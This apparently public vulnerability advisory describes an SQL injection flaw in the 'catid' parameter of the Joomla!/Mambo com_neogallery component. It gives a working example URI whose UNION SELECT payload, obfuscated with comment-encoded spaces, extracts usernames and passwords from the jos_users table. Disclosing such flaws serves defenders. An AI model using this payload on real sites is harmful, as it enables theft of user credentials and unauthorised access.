Joomla! and Mambo com_neogallery Component 'catid' Parameter SQL Injection Vulnerability

Joomla! and Mambo com_neogallery Component 'catid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_neogallery&task=show&Itemid=5&catid=999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from%2F%2A%2A%2Fjos_users